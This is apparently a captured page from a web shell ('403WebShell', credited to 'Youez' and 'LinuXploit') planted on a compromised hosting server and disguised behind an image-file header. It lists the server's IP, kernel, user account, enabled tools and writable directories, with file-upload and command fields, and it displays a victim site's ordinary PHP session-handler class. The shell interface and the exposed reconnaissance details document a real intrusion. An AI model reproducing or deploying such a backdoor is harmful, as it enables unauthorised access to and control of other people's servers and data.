����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.136.19.165
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/helpers/SessionHelper.class.php
<?php

namespace App\Helpers;

use App\Core\Database;

class SessionHelper
{

    public static function register() {
        session_set_save_handler(
                array('App\Helpers\SessionHelper', 'open'), array('App\Helpers\SessionHelper', 'close'), array('App\Helpers\SessionHelper', 'read'), array('App\Helpers\SessionHelper', 'write'), array('App\Helpers\SessionHelper', 'destroy'), array('App\Helpers\SessionHelper', 'gc')
        );

        // the following prevents unexpected effects when using objects as save handlers
        register_shutdown_function('session_write_close');
    }

    public static function open() {
        $db = Database::getDatabase(true);

        return $db->isConnected();
    }

    public static function close() {
        return true;
    }

    public static function read($id) {
        // @TODO - do we need 'true' in this call?
        $db = Database::getDatabase(true);
        $db->query('SELECT `data` '
                . 'FROM `sessions` '
                . 'WHERE `id` = :id '
                . 'LIMIT 1', array(
            'id' => $id,
                )
        );

        return $db->hasRows() ? $db->getValue() : '';
    }

    public static function write($id, $data) {
        // load user id if the user is logged in
        $userId = null;
        $Auth = AuthHelper::getAuth();
        if ($Auth->loggedIn()) {
            $userId = $Auth->id;
        }

        $db = Database::getDatabase(true);
        $db->query('INSERT INTO `sessions` '
                . '(`id`, `data`, `updated_on`, `user_id`) '
                . 'VALUES '
                . '(:id, :data, :updated_on, :user_id) '
                . 'ON DUPLICATE KEY UPDATE data=:data, updated_on=:updated_on, user_id=:user_id', array(
            'id' => $id,
            'data' => $data,
            'updated_on' => time(),
            'user_id' => $userId,
        ));

        return true;
    }

    public static function destroy($id) {
        $db = Database::getDatabase(true);
        $db->query('DELETE FROM `sessions` '
                . 'WHERE `id` = :id '
                . 'LIMIT 1', array(
            'id' => $id,
        ));

        return true;
    }

    /*
     * $max set in php.ini with session.gc-maxlifetime
     */

    public static function gc($max) {
        // max override due to issues on certain server installs
        $max = 60 * 60 * 24 * 14;

        $db = Database::getDatabase(true);
        $db->query('DELETE FROM `sessions` '
                . 'WHERE `updated_on` < :updated_on', array(
            'updated_on' => time() - $max,
        ));

        return true;
    }

    /**
     * Clears any existing sessions associated with a user
     * 
     * @param type $userId
     */
    public static function clearSessionByUserId($userId) {
        // deletes any existing sessions for the same user id
        if ((SITE_CONFIG_PREMIUM_USER_BLOCK_ACCOUNT_SHARING == 'yes') && CoreHelper::currentIsMainSite()) {
            $db = Database::getDatabase();
            $db->query('DELETE FROM sessions '
                    . 'WHERE user_id = :id', array(
                'id' => $userId,
            ));
        }
    }

    /**
     * Used to clear the session if the script needs to run for a long time, for
     * example on download. Avoids session locks which means the browser becomes
     * unresponsive for a period of time.
     */
    public static function releaseSession() {
        session_write_close();
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit